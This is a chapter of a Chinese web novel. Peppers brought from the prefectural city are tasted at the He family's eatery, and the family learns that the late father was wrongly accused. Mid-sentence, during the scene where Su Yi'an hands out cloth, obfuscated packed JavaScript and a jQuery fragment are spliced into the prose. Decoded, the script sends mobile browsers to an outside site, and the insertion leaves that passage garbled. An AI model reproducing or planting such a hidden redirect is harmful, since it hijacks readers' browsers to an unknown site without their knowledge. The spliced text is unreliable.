周时比他们早一日出发,因骡车上装着不少辣椒,他一路紧赶慢赶终于在傍晚前回到了怀安镇。
周掌柜看着背篓里满当当的辣椒,抓起一把嗅了嗅。
这东西怎么看怎么也和辣椒粉不沾边啊。
周掌柜:“苏姑娘就没同你交代什么?”
周时捧着碗吸溜着面条,闻言摇摇头。
见他饿成这样,周掌柜也不好多说什么,自己抓了几根辣椒便进了灶房。
他将辣椒切成丁,又用石磨研磨,最后全是汁水和渣渣,没一点粉状。
周时咽下最后一口面,走进来见周掌柜在弄辣椒,他一脸心疼道:“掌柜的,你就别浪费辣椒了,还不如等苏姑娘回来了问问她如何弄。”
周掌柜一想是这么回事,这些辣椒也不知道花了多少银钱,他还是不糟践的好。
于是第二日一早,周掌柜便让周时将这辣椒全都送去了贺家。
“这就是小婶要的辣椒啊。”贺兴晨蹲在地上,伸手戳了戳面前的小辣椒。
“意安走的时候只说这东西洗洗切了可以炒菜用,旁的便没交代。”贺母从背篓中挑出几根,准备一会儿炒菜时加进去,也算尝尝味。
一大早的人家将东西送来,哪有不留人吃饭的道理,贺母便让周时也留了下来。
早起的饭是白粥配白馍,小菜是腌的萝卜,还有一碟香肠。
贺母又炒了一盘菘菜鸡蛋,分成了两份,一份里面放了辣椒一份没有放。
周时帮着将饭菜端到前面食肆的桌上,跟着贺家人一同吃起来。
旁的不说,就这一盘菘菜鸡蛋,那就不是寻常人家饭桌上早起会出现的。
倒不是吃不起,而是舍不得。
如今天气见暖,鸡蛋价格虽不比年上,但一个也能卖四文钱,这两盘少着也用了两个鸡蛋。
见周时只夹菘菜和咸菜,贺母开口道:“吃点鸡蛋,看看婶子手艺怎么样。”
“我阿奶手艺现在可好了,炒的菜都好吃。”贺兴晨试探的将筷子伸向有辣椒的那一盘,见没人注意到他赶紧夹了一块辣椒塞进嘴里。
只嚼了一下,他便觉得辣,整个人龇牙咧嘴的呼气。
“不让你吃你还偷偷吃,辣着了吧。”菀絮一点不惯孩子,让他赶紧将嘴里的辣椒吐出来顺便吃口干馍压压味。
这辣椒瞧着小,但就那么一小块不能吃辣的也受不住。
周时见状也夹了一块,入口虽辣可吃完还想再尝尝,就这样他一连夹了五块。
等他再抬头时,却发现桌上的人都盯着他看。
“怎...怎么了。”他出声问。
辣椒这么辣,他却吃的津津有味。
“好吃吗?”贺母问。
周时点点头。
贺家人都吃不惯这东西,最后那一盘放了辣椒的菘菜鸡蛋全都给了周时吃。
虽周掌柜院里的伙食也不错,基本上每日都有荤腥,可周时却觉得今日这顿早饭是他吃过最香的一顿。
见他这么喜欢,贺母抓了一把辣椒让他带回家。
还说等食肆上新菜时让他过来尝尝。
周时拎着辣椒,驾着骡车一路哼着小曲回了周家。
周掌柜早早便在铺子里等着,本想问问他贺家会不会处理那些辣椒,结果一等不回来二等不回来。
“掌柜的,您找我啊。”周时提着辣椒走到跟前。
“你这手里拿的什么。”周掌柜问。
周时扬起手中的东西,在周掌柜眼前晃了晃,笑着道:“掌柜的,就是昨日拉回的那些辣椒,今个我在贺家吃了,他们用这炒了盘鸡蛋,特别香。”
“香?”周掌柜想起昨日自己切辣椒时呛的眼酸,他怎么就不信呢。
他让周时交出两根辣椒,交代食肆的厨子做了一盘一样的辣椒菘菜鸡蛋。
没想到这菜添了辣味确实更让人上瘾,周掌柜就着白馍竟将那盘菜一扫而空。
“真是捡了个宝。”周掌柜抿了口茶水,笑着道。
-
从府城回来的骡车,是苏正墨给他们雇的。
他本想给小妹塞些银钱,可苏意安说什么也不要,还让他自己攒着钱。
苏正墨心中忍不住感叹,嫁了人的小妹终究是长大了,再也不是那个小时候缠着他让他买糖吃的小孩。
车厢里垫了褥子,完全没有去时那么晃荡,苏意安靠着车厢没一会儿便生出困意。
本还强撑着不想睡,可实在架不住这弄弄困意。
“再过一个时辰便到了。”贺允淮说完见没人应,这才发现苏意安已经睡了过去,她皱着眉一瞧便直这是睡的不舒服。
贺允淮小心翼翼的往旁边挪动,直到坐在她的身旁,他又放满慢动作让她脑袋靠着自己肩膀。
苏意安这一觉睡的不算踏实,但也没醒。
直到骡车到了食肆前,贺允淮这才将她叫醒。
“咱们到家了。”他说。
食肆这个时辰还开着门,里面虽没食客,但贺颂元仍在前面守着。
他正专心的扒拉算盘算账,听见有人进来头也没抬就问:“客官,今日想吃些什么。”
“吃娘煮的面。”贺允淮敲了敲桌子。
贺颂元猛地抬头,见是他们回来,激动道:“小弟。你们怎么今日回来了。”
“大哥难道不盼着我们早些回来?”苏意安手中提着一个包袱也走了进来。
“哪能啊,天天盼着你们回来呢。”话落,贺颂元朝后面院子喊了一声,“娘,小弟他们回来了。”
贺母今早还说他们回不来那么早,可能会在府城多留几日。
没想到这么快就回来了。
一家人虽就分开那么几日,可还是惦记的很,仿佛有说不完的话。
“走走走,咱们回屋子里说。”贺母牵过苏意安的手,轻拍两下道。
“娘,你们都走了就把我自己留这啊。”贺颂元此时哪还有心情扒拉算盘,他也想跟着去后院说说话。
贺母白了他一眼,觉得自己这个大儿子也是个榆木疙瘩。
一家人团聚的好日子,还开什么张。
这次从府城回来就布买的最多,人手一匹布。
“这么远的路,还买这么多布回来。”贺母上手一模,夸道:“这布真好,摸着就软。”
贺母什么样的好布料没见过,眼前的也就是棉布,可她还是夸了好一通。
苏意安将布分
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715635|135781||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
给众人,这布的颜色花样全是她精心挑选的,颜色都不太艳。
“这是剩下的银钱。”
“怎么剩这么多。”贺母诧异的看着眼前的二十两银子。
他们去时一共带了二十五两银子,虽不知道辣椒花了多少,可就眼前这些东西十两银子可打不住。
“我哥给我了些银钱。”苏意安给贺允淮使了个眼色,示意他别说漏了嘴。
“嗯,这几日苏大哥帮衬了我们许多。”说完贺允淮将自己身上的包袱卸下,当着众人面把里面东西拿了出来。
里面是科考所用的书,还全是注释过的。
临别前,苏正墨将这些东西给了他,嘱咐他道好好准备。
“小弟可是打算科考?”贺颂元抚摸着书卷,高兴的看着他。
他还以为这么些日子过去,他小弟已经没了这个心思。
贺允淮点点头,经历了这么多事他还是觉得自己得科考,只有为官才能护得住家人。
“好好好。”贺母眼眶微红,一个劲的道好。
屋中只有贺兴晨脸上没有什么喜悦之情,可他不敢吱声,也不敢当着大家面说。
当时他小叔让他好好念书,可到底没有告诉他以后怎么办。
他清清楚楚记得夫子说过家中获罪者不能科考。
苏意安看向贺允淮,二人正好对视上。
贺允淮冲她点点头,表示自己准备告诉大家那件事。
毕竟早晚要说,也不必再瞒着。
贺允淮:“娘,大哥,我还有一事要说。”
贺母心里一紧,总觉他这架势同刚才有些不一样。
“这次去府城,我们...还调查了爹当年的事。”这些话贺允淮在脑海中反反复复重复了几千次,可真的让他当着家人说出来时,他反而哑了声。
“爹当年是被冤枉的。”
贺母瞬间落了泪,即便心中想过许多次,可真的听见别人说时,她还是会绷不住。
贺允淮把从府城知晓的事情一五一十告诉了家人。
那一年前发生的一切对于贺家人来说历历在目。
一夜之间天翻地覆的贺家,贺颂元求告无门时的无助,以及知晓贺老爷死去时的崩溃。
“娘。”苏意安揽住贺母,小声唤道。
贺母抬头望着外面的天,哭笑着说:“我就知道自樟是冤枉的。”
自樟是贺老爷的字。
贺母哭了好一会儿,将这一年经受的一些都诉说在了泪水里。
“爹当年的事真的没有定案?”贺颂元不敢信,当年事情闹的那么大。
“姜家大少爷亲自去衙门看了卷宗。”贺允淮说。
贺颂元倒是知道这个姜公子是谁,一听是他帮的忙,便知晓这事是真的。
可当年他求了那么多人,却无人帮忙,为何今日就有人愿意帮了?
见自家大哥探究的看向自己,贺允淮便知交易的事情怕是瞒不住。
好在只是去山上采摘药材,再者也是姜家派人弄,贺颂元听了倒是没再皱眉。
贺母早已止住了泪,她对着大家说:“娘哭,不是难过,是高兴。今日都哭痛快了,以后咱们一家好好过日子都不许再哭了。”